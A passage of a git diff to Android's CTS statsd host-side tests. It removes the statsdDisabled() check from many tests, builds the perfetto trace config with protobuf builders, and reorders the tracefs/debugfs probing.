StatsdConfig.Builder config = getBaseConfig(10, 20, 2 /* threshold: > 2 counts */)
.addCountMetric(CountMetric.newBuilder()
.setId(METRIC_ID)
@@ -141,9 +138,6 @@
// Tests that anomaly detection for duration works.
// Also tests that refractory periods in anomaly detection work.
public void testDurationAnomalyDetection() throws Exception {
- if (statsdDisabled()) {
- return;
- }
final int APP_BREADCRUMB_REPORTED_IS_ON_PREDICATE = 1423;
StatsdConfig.Builder config =
getBaseConfig(17, 17, 10_000_000_000L /*threshold: > 10 seconds in nanoseconds*/)
@@ -205,9 +199,6 @@
// Tests that anomaly detection for duration works even when the alarm fires too late.
public void testDurationAnomalyDetectionForLateAlarms() throws Exception {
- if (statsdDisabled()) {
- return;
- }
final int APP_BREADCRUMB_REPORTED_IS_ON_PREDICATE = 1423;
StatsdConfig.Builder config =
getBaseConfig(50, 0, 6_000_000_000L /* threshold: > 6 seconds in nanoseconds */)
@@ -253,9 +244,6 @@
// Tests that anomaly detection for value works.
public void testValueAnomalyDetection() throws Exception {
- if (statsdDisabled()) {
- return;
- }
StatsdConfig.Builder config = getBaseConfig(4, 0, 6 /* threshold: value > 6 */)
.addValueMetric(ValueMetric.newBuilder()
.setId(METRIC_ID)
@@ -288,9 +276,6 @@
// Test that anomaly detection integrates with perfetto properly.
public void testPerfetto() throws Exception {
- if (statsdDisabled()) {
- return;
- }
String chars = getDevice().getProperty("ro.build.characteristics");
if (chars.contains("watch")) {
return;
@@ -349,9 +334,6 @@
// Tests that anomaly detection for gauge works.
public void testGaugeAnomalyDetection() throws Exception {
- if (statsdDisabled()) {
- return;
- }
StatsdConfig.Builder config = getBaseConfig(1, 20, 6 /* threshold: value > 6 */)
.addGaugeMetric(GaugeMetric.newBuilder()
.setId(METRIC_ID)
@@ -386,10 +368,6 @@
// Test that anomaly detection for pulled metrics work.
public void testPulledAnomalyDetection() throws Exception {
- if (statsdDisabled()) {
- return;
- }
-
final int ATOM_ID = Atom.KERNEL_WAKELOCK_FIELD_NUMBER; // A pulled atom
final int SLICE_BY_FIELD = KernelWakelock.NAME_FIELD_NUMBER;
final int VALUE_FIELD = KernelWakelock.VERSION_FIELD_NUMBER; // Something that will be > 0.
diff --git a/hostsidetests/statsd/src/android/cts/statsd/atom/AtomTestCase.java b/hostsidetests/statsd/src/android/cts/statsd/atom/AtomTestCase.java
index ef216cc..01cb9e6 100644
--- a/hostsidetests/statsd/src/android/cts/statsd/atom/AtomTestCase.java
+++ b/hostsidetests/statsd/src/android/cts/statsd/atom/AtomTestCase.java
@@ -62,6 +62,10 @@
import com.google.common.io.Files;
import com.google.protobuf.ByteString;
+import perfetto.protos.PerfettoConfig.DataSourceConfig;
+import perfetto.protos.PerfettoConfig.FtraceConfig;
+import perfetto.protos.PerfettoConfig.TraceConfig;
+
import java.io.File;
import java.text.SimpleDateFormat;
import java.util.ArrayList;
@@ -73,6 +77,7 @@
import java.util.List;
import java.util.Map;
import java.util.Queue;
+import java.util.Random;
import java.util.Set;
import java.util.function.Function;
import java.util.regex.Matcher;
@@ -135,10 +140,6 @@
protected void setUp() throws Exception {
super.setUp();
- if (statsdDisabled()) {
- return;
- }
-
// Uninstall to clear the history in case it's still on the device.
removeConfig(CONFIG_ID);
getReportList(); // Clears data.
@@ -181,15 +182,41 @@
/**
* Returns a protobuf-encoded perfetto config that enables the kernel
* ftrace tracer with sched_switch for 10 seconds.
- * See https://android.googlesource.com/platform/external/perfetto/+/master/docs/trace-config.md
- * for details on how to generate this.
*/
protected ByteString getPerfettoConfig() {
- return ByteString.copyFrom(new byte[] { 0xa, 0x3, 0x8, (byte) 0x80, 0x1, 0x12, 0x23, 0xa,
- 0x21, 0xa, 0xc, 0x6c, 0x69, 0x6e, 0x75, 0x78, 0x2e, 0x66, 0x74, 0x72, 0x61,
- 0x63, 0x65, 0x10, 0x0, (byte) 0xa2, 0x6, 0xe, 0xa, 0xc, 0x73, 0x63, 0x68,
- 0x65, 0x64, 0x5f, 0x73, 0x77, 0x69, 0x74, 0x63, 0x68, 0x18, (byte) 0x90,
- 0x4e, (byte) 0x98, 0x01, 0x01 });
+ TraceConfig.Builder builder = TraceConfig.newBuilder();
+
+ TraceConfig.BufferConfig buffer = TraceConfig.BufferConfig
+ .newBuilder()
+ .setSizeKb(128)
+ .build();
+ builder.addBuffers(buffer);
+
+ FtraceConfig ftraceConfig = FtraceConfig.newBuilder()
+ .addFtraceEvents("sched/sched_switch")
+ .build();
+ DataSourceConfig dataSourceConfig = DataSourceConfig.newBuilder()
+ .setName("linux.ftrace")
+ .setTargetBuffer(0)
+ .setFtraceConfig(ftraceConfig)
+ .build();
+ TraceConfig.DataSource dataSource = TraceConfig.DataSource
+ .newBuilder()
+ .setConfig(dataSourceConfig)
+ .build();
+ builder.addDataSources(dataSource);
+
+ builder.setDurationMs(10000);
+ builder.setAllowUserBuildTracing(true);
+
+ // To avoid being hit with guardrails firing in multiple test runs back
+ // to back, we set a unique session key for each config.
+ Random random = new Random();
+ StringBuilder sessionNameBuilder = new StringBuilder("statsd-cts-");
+ sessionNameBuilder.append(random.nextInt() & Integer.MAX_VALUE);
+ builder.setUniqueSessionName(sessionNameBuilder.toString());
+
+ return builder.build().toByteString();
}
/**
@@ -205,22 +232,24 @@
private String probe(String path) throws Exception {
return getDevice().executeShellCommand("if [ -e " + path + " ] ; then"
- + " cat " + path + " ; else echo 0 ; fi");
+ + " cat " + path + " ; else echo -1 ; fi");
}
/**
* Determines whether perfetto enabled the kernel ftrace tracer.
*/
protected boolean isSystemTracingEnabled() throws Exception {
- final String debugFsPath = "/sys/kernel/debug/tracing/tracing_on";
final String traceFsPath = "/sys/kernel/tracing/tracing_on";
- String tracing_on = probe(debugFsPath);
+ String tracing_on = probe(traceFsPath);
if (tracing_on.startsWith("0")) return false;
if (tracing_on.startsWith("1")) return true;
- // fallback to traceFs
- LogUtil.CLog.d("Unexpected state for %s = %s. Falling back to traceFs", debugFsPath,
+
+ // fallback to debugfs
+ LogUtil.CLog.d("Unexpected state for %s = %s. Falling back to debugfs", traceFsPath,
tracing_on);
- tracing_on = probe(traceFsPath);
+
+ final String debugFsPath = "/sys/kernel/debug/tracing/tracing_on";
+ tracing_on = probe(debugFsPath);
if (tracing_on.startsWith("0")) return false;
if (tracing_on.startsWith("1")) return true;
throw new Exception(String.format("Unexpected state for %s = %s", traceFsPath, tracing_on));
@@ -239,7 +268,8 @@
.addAllowedLogSource("AID_STATSD")
.addAllowedLogSource(DeviceAtomTestCase.DEVICE_SIDE_TEST_PACKAGE)
.addDefaultPullPackages("AID_RADIO")
- .addDefaultPullPackages("AID_SYSTEM");
+ .addDefaultPullPackages("AID_SYSTEM")
+ .addWhitelistedAtomIds(Atom.APP_BREADCRUMB_REPORTED_FIELD_NUMBER);
}
protected void createAndUploadConfig(int atomTag) throws Exception {
diff --git a/hostsidetests/statsd/src/android/cts/statsd/atom/BaseTestCase.java b/hostsidetests/statsd/src/android/cts/statsd/atom/BaseTestCase.java
index a074c959..0c9921e 100644
--- a/hostsidetests/statsd/src/android/cts/statsd/atom/BaseTestCase.java
+++ b/hostsidetests/statsd/src/android/cts/statsd/atom/BaseTestCase.java
@@ -180,14 +180,4 @@
return result;
}
-
- protected boolean statsdDisabled() throws DeviceNotAvailableException {
- // if ro.statsd.enable doesn't exist, statsd is running by default.
- if ("false".equals(getDevice().getProperty("ro.statsd.enable"))
- && "true".equals(getDevice().getProperty("ro.config.low_ram"))) {
- CLog.d("Statsd is not enabled on the device");
- return true;
- }
- return false;
- }
}
diff --git a/hostsidetests/statsd/src/android/cts/statsd/atom/HostAtomTests.java b/hostsidetests/statsd/src/android/cts/statsd/atom/HostAtomTests.java
index 7c83515..d7f8df1 100644
--- a/hostsidetests/statsd/src/android/cts/statsd/atom/HostAtomTests.java
+++ b/hostsidetests/statsd/src/android/cts/statsd/atom/HostAtomTests.java
@@ -82,9 +82,6 @@
}
public void testScreenStateChangedAtom() throws Exception {
- if (statsdDisabled()) {
- return;
- }
// Setup, make sure the screen is off and turn off AoD if it is on.
// AoD needs to be turned off because the screen should go into an off state. But, if AoD is
// on and the device doesn't support STATE_DOZE, the screen sadly goes back to STATE_ON.
@@ -131,9 +128,6 @@
}
public void testChargingStateChangedAtom() throws Exception {
- if (statsdDisabled()) {
- return;
- }
if (!hasFeature(FEATURE_AUTOMOTIVE, false)) return;
// Setup, set charging state to full.
setChargingState(5);
@@ -184,9 +178,6 @@
}
public void testPluggedStateChangedAtom() throws Exception {
- if (statsdDisabled()) {
- return;
- }
if (!hasFeature(FEATURE_AUTOMOTIVE, false)) return;
// Setup, unplug device.
unplugDevice();
@@ -237,9 +228,6 @@
}
public void testBatteryLevelChangedAtom() throws Exception {
- if (statsdDisabled()) {
- return;
- }
if (!hasFeature(FEATURE_AUTOMOTIVE, false)) return;
// Setup, set battery level to full.
setBatteryLevel(100);
@@ -285,9 +273,6 @@
}
public void testDeviceIdleModeStateChangedAtom() throws Exception {
- if (statsdDisabled()) {
- return;
- }
// Setup, leave doze mode.
leaveDozeMode();
Thread.sleep(WAIT_TIME_SHORT);
@@ -324,9 +309,6 @@
}
public void testBatterySaverModeStateChangedAtom() throws Exception {
- if (statsdDisabled()) {
- return;
- }
if (!hasFeature(FEATURE_AUTOMOTIVE, false)) return;
// Setup, turn off battery saver.
turnBatterySaverOff();
@@ -361,9 +343,6 @@
@RestrictedBuildTest
public void testRemainingBatteryCapacity() throws Exception {
- if (statsdDisabled()) {
- return;
- }
if (!hasFeature(FEATURE_WATCH, false)) return;
if (!hasFeature(FEATURE_AUTOMOTIVE, false)) return;
StatsdConfig.Builder config = createConfigBuilder();
@@ -388,9 +367,6 @@
@RestrictedBuildTest
public void testFullBatteryCapacity() throws Exception {
- if (statsdDisabled()) {
- return;
- }
if (!hasFeature(FEATURE_WATCH, false)) return;
if (!hasFeature(FEATURE_AUTOMOTIVE, false)) return;
StatsdConfig.Builder config = createConfigBuilder();
@@ -413,9 +389,6 @@
}
public void testBatteryVoltage() throws Exception {
- if (statsdDisabled()) {
- return;
- }
if (!hasFeature(FEATURE_WATCH, false)) return;
StatsdConfig.Builder config = createConfigBuilder();
addGaugeAtomWithDimensions(config, Atom.BATTERY_VOLTAGE_FIELD_NUMBER, null);
@@ -438,9 +411,6 @@
// This test is for the pulled battery level atom.
public void testBatteryLevel() throws Exception {
- if (statsdDisabled()) {
- return;
- }
if (!hasFeature(FEATURE_WATCH, false)) return;
StatsdConfig.Builder config = createConfigBuilder();
addGaugeAtomWithDimensions(config, Atom.BATTERY_LEVEL_FIELD_NUMBER, null);
@@ -463,9 +433,6 @@
// This test is for the pulled battery charge count atom.
public void testBatteryCycleCount() throws Exception {
- if (statsdDisabled()) {
- return;
- }
if (!hasFeature(FEATURE_WATCH, false)) return;
StatsdConfig.Builder config = createConfigBuilder();
addGaugeAtomWithDimensions(config, Atom.BATTERY_CYCLE_COUNT_FIELD_NUMBER, null);
@@ -487,7 +454,7 @@
}
public void testKernelWakelock() throws Exception {
- if (statsdDisabled() || !kernelWakelockStatsExist()) {
+ if (!kernelWakelockStatsExist()) {
return;
}
StatsdConfig.Builder config = createConfigBuilder();
@@ -519,9 +486,6 @@
}
public void testWifiActivityInfo() throws Exception {
- if (statsdDisabled()) {
- return;
- }
if (!hasFeature(FEATURE_WIFI, true)) return;
if (!hasFeature(FEATURE_WATCH, false)) return;
if (!checkDeviceFor("checkWifiEnhancedPowerReportingSupported")) return;
@@ -548,10 +512,6 @@
}
public void testBuildInformation() throws Exception {
- if (statsdDisabled()) {
- return;
- }
-
StatsdConfig.Builder config = createConfigBuilder();
addGaugeAtomWithDimensions(config, Atom.BUILD_INFORMATION_FIELD_NUMBER, null);
uploadConfig(config);
@@ -576,9 +536,6 @@
public void testOnDevicePowerMeasurement() throws Exception {
if (!OPTIONAL_TESTS_ENABLED) return;
- if (statsdDisabled()) {
- return;
- }
StatsdConfig.Builder config = createConfigBuilder();
addGaugeAtomWithDimensions(config, Atom.ON_DEVICE_POWER_MEASUREMENT_FIELD_NUMBER, null);
@@ -600,9 +557,6 @@
// Explicitly tests if the adb command to log a breadcrumb is working.
public void testBreadcrumbAdb() throws Exception {
- if (statsdDisabled()) {
- return;
- }
final int atomTag = Atom.APP_BREADCRUMB_REPORTED_FIELD_NUMBER;
createAndUploadConfig(atomTag);
Thread.sleep(WAIT_TIME_SHORT);
@@ -618,9 +572,6 @@
// Test dumpsys stats --proto.
public void testDumpsysStats() throws Exception {
- if (statsdDisabled()) {
- return;
- }
final int atomTag = Atom.APP_BREADCRUMB_REPORTED_FIELD_NUMBER;
createAndUploadConfig(atomTag);
Thread.sleep(WAIT_TIME_SHORT);
@@ -653,9 +604,6 @@
}
public void testConnectivityStateChange() throws Exception {
- if (statsdDisabled()) {
- return;
- }
if (!hasFeature(FEATURE_WIFI, true)) return;
if (!hasFeature(FEATURE_WATCH, false)) return;
if (!hasFeature(FEATURE_LEANBACK_ONLY, false)) return;
@@ -692,9 +640,6 @@
}
public void testSimSlotState() throws Exception {
- if (statsdDisabled()) {
- return;
- }
if (!hasFeature(FEATURE_TELEPHONY, true)) {
return;
}
@@ -725,9 +670,6 @@
}
public void testSupportedRadioAccessFamily() throws Exception {
- if (statsdDisabled()) {
- return;
- }
if (!hasFeature(FEATURE_TELEPHONY, true)) {
return;
}
diff --git a/hostsidetests/statsd/src/android/cts/statsd/atom/ProcStateAtomTests.java b/hostsidetests/statsd/src/android/cts/statsd/atom/ProcStateAtomTests.java
index 73d43f8..230a516 100644
--- a/hostsidetests/statsd/src/android/cts/statsd/atom/ProcStateAtomTests.java
+++ b/hostsidetests/statsd/src/android/cts/statsd/atom/ProcStateAtomTests.java
@@ -96,9 +96,6 @@
}
public void testForegroundService() throws Exception {
- if (statsdDisabled()) {
- return;
- }
Set<Integer> onStates = new HashSet<>(Arrays.asList(
ProcessStateEnum.PROCESS_STATE_FOREGROUND_SERVICE_VALUE));
Set<Integer> offStates = complement(onStates);
@@ -117,9 +114,6 @@
}
public void testForeground() throws Exception {
- if (statsdDisabled()) {
- return;
- }
Set<Integer> onStates = new HashSet<>(Arrays.asList(
ProcessStateEnum.PROCESS_STATE_IMPORTANT_FOREGROUND_VALUE));
// There are no offStates, since the app remains in foreground until killed.
@@ -139,9 +133,6 @@
}
public void testBackground() throws Exception {
- if (statsdDisabled()) {
- return;
- }
Set<Integer> onStates = BG_STATES;
Set<Integer> offStates = complement(onStates);
@@ -159,9 +150,6 @@
}
public void testTop() throws Exception {
- if (statsdDisabled()) {
- return;
- }
Set<Integer> onStates = new HashSet<>(Arrays.asList(
ProcessStateEnum.PROCESS_STATE_TOP_VALUE));
Set<Integer> offStates = complement(onStates);
@@ -181,9 +169,6 @@
}
public void testTopSleeping() throws Exception {
- if (statsdDisabled()) {
- return;
- }
if (!hasFeature(FEATURE_WATCH, false)) return;
Set<Integer> onStates = new HashSet<>(Arrays.asList(
ProcessStateEnum.PROCESS_STATE_TOP_SLEEPING_VALUE));
@@ -212,9 +197,6 @@
}
public void testCached() throws Exception {
- if (statsdDisabled()) {
- return;
- }
Set<Integer> onStates = CACHED_STATES;
Set<Integer> offStates = complement(onStates);
@@ -247,9 +229,6 @@
}
public void testValidityOfStates() throws Exception {
- if (statsdDisabled()) {
- return;
- }
assertWithMessage("UNKNOWN_TO_PROTO should not be a valid state")
.that(ALL_STATES).doesNotContain(ProcessStateEnum.PROCESS_STATE_UNKNOWN_TO_PROTO_VALUE);
}
diff --git a/hostsidetests/statsd/src/android/cts/statsd/atom/UidAtomTests.java b/hostsidetests/statsd/src/android/cts/statsd/atom/UidAtomTests.java
index a54f44e..74146b9 100644
--- a/hostsidetests/statsd/src/android/cts/statsd/atom/UidAtomTests.java
+++ b/hostsidetests/statsd/src/android/cts/statsd/atom/UidAtomTests.java
@@ -16,6 +16,7 @@
package android.cts.statsd.atom;
import static com.android.os.AtomsProto.IntegrityCheckResultReported.Response.ALLOWED;
+
import static com.google.common.truth.Truth.assertThat;
import static com.google.common.truth.Truth.assertWithMessage;
@@ -24,6 +25,7 @@
import android.os.WakeLockLevelEnum;
import android.server.ErrorSource;
import android.telephony.NetworkTypeEnum;
+
import com.android.compatibility.common.tradefed.build.CompatibilityBuildHelper;
import com.android.compatibility.common.util.PropertyUtil;
import com.android.internal.os.StatsdConfigProto.StatsdConfig;
@@ -41,6 +43,9 @@
import com.android.os.AtomsProto.BinderCalls;
import com.android.os.AtomsProto.BleScanResultReceived;
import com.android.os.AtomsProto.BleScanStateChanged;
+import com.android.os.AtomsProto.BlobCommitted;
+import com.android.os.AtomsProto.BlobLeased;
+import com.android.os.AtomsProto.BlobOpened;
import com.android.os.AtomsProto.CameraStateChanged;
import com.android.os.AtomsProto.DangerousPermissionState;
import com.android.os.AtomsProto.DangerousPermissionStateSampled;
@@ -77,8 +82,10 @@
import com.android.os.StatsLog.EventMetricData;
import com.android.server.notification.SmallHash;
import com.android.tradefed.log.LogUtil;
+
import com.google.common.collect.Range;
import com.google.protobuf.Descriptors;
+
import java.io.File;
import java.util.ArrayList;
import java.util.Arrays;
@@ -125,7 +132,7 @@
}
public void testLmkKillOccurred() throws Exception {
- if (statsdDisabled() || !"true".equals(getProperty("ro.lmk.log_stats"))) {
+ if (!"true".equals(getProperty("ro.lmk.log_stats"))) {
return;
}
@@ -149,9 +156,6 @@
}
public void testAppCrashOccurred() throws Exception {
- if (statsdDisabled()) {
- return;
- }
final int atomTag = Atom.APP_CRASH_OCCURRED_FIELD_NUMBER;
createAndUploadConfig(atomTag, false);
Thread.sleep(WAIT_TIME_SHORT);
@@ -172,19 +176,17 @@
}
public void testAppStartOccurred() throws Exception {
- if (statsdDisabled()) {
- return;
- }
final int atomTag = Atom.APP_START_OCCURRED_FIELD_NUMBER;
createAndUploadConfig(atomTag, false);
Thread.sleep(WAIT_TIME_SHORT);
- runActivity("StatsdCtsForegroundActivity", "action", "action.sleep_top");
+ runActivity("StatsdCtsForegroundActivity", "action", "action.sleep_top", 3_500);
// Sorted list of events in order in which they occurred.
List<EventMetricData> data = getEventMetricDataList();
+ assertThat(data).hasSize(1);
AppStartOccurred atom = data.get(0).getAtom().getAppStartOccurred();
assertThat(atom.getPkgName()).isEqualTo(TEST_PACKAGE_NAME);
assertThat(atom.getActivityName())
@@ -195,9 +197,6 @@
}
public void testAudioState() throws Exception {
- if (statsdDisabled()) {
- return;
- }
if (!hasFeature(FEATURE_AUDIO_OUTPUT, true)) return;
final int atomTag = Atom.AUDIO_STATE_CHANGED_FIELD_NUMBER;
@@ -233,9 +232,6 @@
}
public void testBleScan() throws Exception {
- if (statsdDisabled()) {
- return;
- }
if (!hasFeature(FEATURE_BLUETOOTH_LE, true)) return;
final int atom = Atom.BLE_SCAN_STATE_CHANGED_FIELD_NUMBER;
@@ -255,9 +251,6 @@
}
public void testBleUnoptimizedScan() throws Exception {
- if (statsdDisabled()) {
- return;
- }
if (!hasFeature(FEATURE_BLUETOOTH_LE, true)) return;
final int atom = Atom.BLE_SCAN_STATE_CHANGED_FIELD_NUMBER;
@@ -299,9 +292,6 @@
}
public void testBleScanResult() throws Exception {
- if (statsdDisabled()) {
- return;
- }
if (!hasFeature(FEATURE_BLUETOOTH_LE, true)) return;
final int atom = Atom.BLE_SCAN_RESULT_RECEIVED_FIELD_NUMBER;
@@ -317,10 +307,6 @@
}
public void testHiddenApiUsed() throws Exception {
- if (statsdDisabled()) {
- return;
- }
-
String oldRate = getDevice().executeShellCommand(
"device_config get app_compat hidden_api_access_statslog_sampling_rate").trim();
@@ -359,9 +345,6 @@
}
public void testCameraState() throws Exception {
- if (statsdDisabled()) {
- return;
- }
if (!hasFeature(FEATURE_CAMERA, true) && !hasFeature(FEATURE_CAMERA_FRONT, true)) return;
final int atomTag = Atom.CAMERA_STATE_CHANGED_FIELD_NUMBER;
@@ -383,9 +366,6 @@
}
public void testCpuTimePerUid() throws Exception {
- if (statsdDisabled()) {
- return;
- }
if (!hasFeature(FEATURE_WATCH, false)) return;
StatsdConfig.Builder config = createConfigBuilder();
addGaugeAtomWithDimensions(config, Atom.CPU_TIME_PER_UID_FIELD_NUMBER, null);
@@ -415,9 +395,6 @@
}
public void testDeviceCalculatedPowerUse() throws Exception {
- if (statsdDisabled()) {
- return;
- }
if (!hasFeature(FEATURE_LEANBACK_ONLY, false)) return;
StatsdConfig.Builder config = createConfigBuilder();
@@ -438,9 +415,6 @@
public void testDeviceCalculatedPowerBlameUid() throws Exception {
- if (statsdDisabled()) {
- return;
- }
if (!hasFeature(FEATURE_LEANBACK_ONLY, false)) return;
StatsdConfig.Builder config = createConfigBuilder();
@@ -474,9 +448,6 @@
}
public void testDavey() throws Exception {
- if (statsdDisabled()) {
- return;
- }
if (!DAVEY_ENABLED ) return;
long MAX_DURATION = 2000;
long MIN_DURATION = 750;
@@ -493,9 +464,6 @@
}
public void testFlashlightState() throws Exception {
- if (statsdDisabled()) {
- return;
- }
if (!hasFeature(FEATURE_CAMERA_FLASH, true)) return;
final int atomTag = Atom.FLASHLIGHT_STATE_CHANGED_FIELD_NUMBER;
@@ -523,9 +491,6 @@
}
public void testForegroundServiceState() throws Exception {
- if (statsdDisabled()) {
- return;
- }
final int atomTag = Atom.FOREGROUND_SERVICE_STATE_CHANGED_FIELD_NUMBER;
final String name = "testForegroundService";
@@ -552,9 +517,6 @@
public void testForegroundServiceAccessAppOp() throws Exception {
- if (statsdDisabled()) {
- return;
- }
final int atomTag = Atom.FOREGROUND_SERVICE_APP_OP_SESSION_ENDED_FIELD_NUMBER;
final String name = "testForegroundServiceAccessAppOp";
@@ -595,9 +557,6 @@
}
public void testGpsScan() throws Exception {
- if (statsdDisabled()) {
- return;
- }
if (!hasFeature(FEATURE_LOCATION_GPS, true)) return;
// Whitelist this app against background location request throttling
String origWhitelist = getDevice().executeShellCommand(
@@ -634,10 +593,6 @@
}
public void testGnssStats() throws Exception {
- if (statsdDisabled()) {
- return;
- }
-
// Get GnssMetrics as a simple gauge metric.
StatsdConfig.Builder config = createConfigBuilder();
addGaugeAtomWithDimensions(config, Atom.GNSS_STATS_FIELD_NUMBER, null);
@@ -676,7 +631,7 @@
assertThat(state.getLocationReports()).isGreaterThan((long) 0);
assertThat(state.getLocationFailureReports()).isAtLeast((long) 0);
assertThat(state.getTimeToFirstFixReports()).isGreaterThan((long) 0);
- assertThat(state.getTimeToFirstFixMilliS()).isGreaterThan((long) 0);
+ assertThat(state.getTimeToFirstFixMillis()).isGreaterThan((long) 0);
assertThat(state.getPositionAccuracyReports()).isGreaterThan((long) 0);
assertThat(state.getPositionAccuracyMeters()).isGreaterThan((long) 0);
assertThat(state.getTopFourAverageCn0Reports()).isGreaterThan((long) 0);
@@ -703,9 +658,6 @@
}
public void testMediaCodecActivity() throws Exception {
- if (statsdDisabled()) {
- return;
- }
if (!hasFeature(FEATURE_WATCH, false)) return;
final int atomTag = Atom.MEDIA_CODEC_STATE_CHANGED_FIELD_NUMBER;
@@ -741,9 +693,6 @@
}
public void testOverlayState() throws Exception {
- if (statsdDisabled()) {
- return;
- }
if (!hasFeature(FEATURE_WATCH, false)) return;
final int atomTag = Atom.OVERLAY_STATE_CHANGED_FIELD_NUMBER;
@@ -770,9 +719,6 @@
}
public void testPictureInPictureState() throws Exception {
- if (statsdDisabled()) {
- return;
- }
String supported = getDevice().executeShellCommand("am supports-multiwindow");
if (!hasFeature(FEATURE_WATCH, false) ||
!hasFeature(FEATURE_PICTURE_IN_PICTURE, true) ||
@@ -803,9 +749,6 @@
}
public void testScheduledJobState() throws Exception {
- if (statsdDisabled()) {
- return;
- }
String expectedName = "com.android.server.cts.device.statsd/.StatsdJobService";
final int atomTag = Atom.SCHEDULED_JOB_STATE_CHANGED_FIELD_NUMBER;
Set<Integer> jobSchedule = new HashSet<>(
@@ -836,9 +779,6 @@
//Note: this test does not have uid, but must run on the device
public void testScreenBrightness() throws Exception {
- if (statsdDisabled()) {
- return;
- }
int initialBrightness = getScreenBrightness();
boolean isInitialManual = isScreenBrightnessModeManual();
setScreenBrightnessMode(true);
@@ -873,9 +813,6 @@
atom -> atom.getScreenBrightnessChanged().getLevel());
}
public void testSyncState() throws Exception {
- if (statsdDisabled()) {
- return;
- }
final int atomTag = Atom.SYNC_STATE_CHANGED_FIELD_NUMBER;
Set<Integer> syncOn = new HashSet<>(Arrays.asList(SyncStateChanged.State.ON_VALUE));
Set<Integer> syncOff = new HashSet<>(Arrays.asList(SyncStateChanged.State.OFF_VALUE));
@@ -891,14 +828,12 @@
List<EventMetricData> data = getEventMetricDataList();
// Assert that the events happened in the expected order.
- assertStatesOccurred(stateSet, data, WAIT_TIME_SHORT,
- atom -> atom.getSyncStateChanged().getState().getNumber());
+ assertStatesOccurred(stateSet, data,
+ /* wait = */ 0 /* don't verify time differences between state changes */,
+ atom -> atom.getSyncStateChanged().getState().getNumber());
}
public void testVibratorState() throws Exception {
- if (statsdDisabled()) {
- return;
- }
if (!checkDeviceFor("checkVibratorSupported")) return;
final int atomTag = Atom.VIBRATOR_STATE_CHANGED_FIELD_NUMBER;
@@ -926,9 +861,6 @@
}
public void testWakelockState() throws Exception {
- if (statsdDisabled()) {
- return;
- }
final int atomTag = Atom.WAKELOCK_STATE_CHANGED_FIELD_NUMBER;
Set<Integer> wakelockOn = new HashSet<>(Arrays.asList(
WakelockStateChanged.State.ACQUIRE_VALUE,
@@ -962,9 +894,6 @@
}
public void testWakeupAlarm() throws Exception {
- if (statsdDisabled()) {
- return;
- }
// For automotive, all wakeup alarm becomes normal alarm. So this
// test does not work.
if (!hasFeature(FEATURE_AUTOMOTIVE, false)) return;
@@ -983,9 +912,6 @@
}
public void testWifiLockHighPerf() throws Exception {
- if (statsdDisabled()) {
- return;
- }
if (!hasFeature(FEATURE_WIFI, true)) return;
if (!hasFeature(FEATURE_PC, false)) return;
@@ -1013,9 +939,6 @@
}
public void testWifiLockLowLatency() throws Exception {
- if (statsdDisabled()) {
- return;
- }
if (!hasFeature(FEATURE_WIFI, true)) return;
if (!hasFeature(FEATURE_PC, false)) return;
@@ -1043,9 +966,6 @@
}
public void testWifiMulticastLock() throws Exception {
- if (statsdDisabled()) {
- return;
- }
if (!hasFeature(FEATURE_WIFI, true)) return;
if (!hasFeature(FEATURE_PC, false)) return;
@@ -1077,9 +997,6 @@
}
public void testWifiScan() throws Exception {
- if (statsdDisabled()) {
- return;
- }
if (!hasFeature(FEATURE_WIFI, true)) return;
final int atom = Atom.WIFI_SCAN_STATE_CHANGED_FIELD_NUMBER;
@@ -1101,9 +1018,6 @@
}
public void testBinderStats() throws Exception {
- if (statsdDisabled()) {
- return;
- }
try {
unplugDevice();
Thread.sleep(WAIT_TIME_SHORT);
@@ -1151,9 +1065,6 @@
}
public void testLooperStats() throws Exception {
- if (statsdDisabled()) {
- return;
- }
try {
unplugDevice();
setUpLooperStats();
@@ -1205,10 +1116,6 @@
}
public void testProcessMemoryState() throws Exception {
- if (statsdDisabled()) {
- return;
- }
-
// Get ProcessMemoryState as a simple gauge metric.
StatsdConfig.Builder config = createConfigBuilder();
addGaugeAtomWithDimensions(config, Atom.PROCESS_MEMORY_STATE_FIELD_NUMBER, null);
@@ -1248,10 +1155,6 @@
}
public void testProcessMemoryHighWaterMark() throws Exception {
- if (statsdDisabled()) {
- return;
- }
-
// Get ProcessMemoryHighWaterMark as a simple gauge metric.
StatsdConfig.Builder config = createConfigBuilder();
addGaugeAtomWithDimensions(config, Atom.PROCESS_MEMORY_HIGH_WATER_MARK_FIELD_NUMBER, null);
@@ -1295,10 +1198,6 @@
}
public void testProcessMemorySnapshot() throws Exception {
- if (statsdDisabled()) {
- return;
- }
-
// Get ProcessMemorySnapshot as a simple gauge metric.
StatsdConfig.Builder config = createConfigBuilder();
addGaugeAtomWithDimensions(config, Atom.PROCESS_MEMORY_SNAPSHOT_FIELD_NUMBER, null);
@@ -1308,8 +1207,8 @@
// Start test app and trigger a pull while it is running.
try (AutoCloseable a = withActivity("StatsdCtsForegroundActivity", "action",
"action.show_notification")) {
- setAppBreadcrumbPredicate();
Thread.sleep(WAIT_TIME_LONG);
+ setAppBreadcrumbPredicate();
}
// Assert about ProcessMemorySnapshot for the test app, statsd and system server.
@@ -1345,7 +1244,7 @@
}
public void testIonHeapSize_optional() throws Exception {
- if (statsdDisabled() || isIonHeapSizeMandatory()) {
+ if (isIonHeapSizeMandatory()) {
return;
}
@@ -1358,7 +1257,7 @@
}
public void testIonHeapSize_mandatory() throws Exception {
- if (statsdDisabled() || !isIonHeapSizeMandatory()) {
+ if (!isIonHeapSizeMandatory()) {
return;
}
@@ -1410,10 +1309,6 @@
}
public void testRoleHolder() throws Exception {
- if (statsdDisabled()) {
- return;
- }
-
// Make device side test package a role holder
String callScreenAppRole = "android.app.role.CALL_SCREENING";
getDevice().executeShellCommand(
@@ -1453,10 +1348,6 @@
}
public void testDangerousPermissionState() throws Exception {
- if (statsdDisabled()) {
- return;
- }
-
final int FLAG_PERMISSION_USER_SENSITIVE_WHEN_GRANTED = 1 << 8;
final int FLAG_PERMISSION_USER_SENSITIVE_WHEN_DENIED = 1 << 9;
@@ -1500,10 +1391,6 @@
}
public void testDangerousPermissionStateSampled() throws Exception {
- if (statsdDisabled()) {
- return;
- }
-
// get full atom for reference
StatsdConfig.Builder config = createConfigBuilder();
addGaugeAtomWithDimensions(config, Atom.DANGEROUS_PERMISSION_STATE_FIELD_NUMBER, null);
@@ -1575,10 +1462,6 @@
}
public void testAppOps() throws Exception {
- if (statsdDisabled()) {
- return;
- }
-
// Set up what to collect
StatsdConfig.Builder config = createConfigBuilder();
addGaugeAtomWithDimensions(config, Atom.APP_OPS_FIELD_NUMBER, null);
@@ -1625,9 +1508,6 @@
}
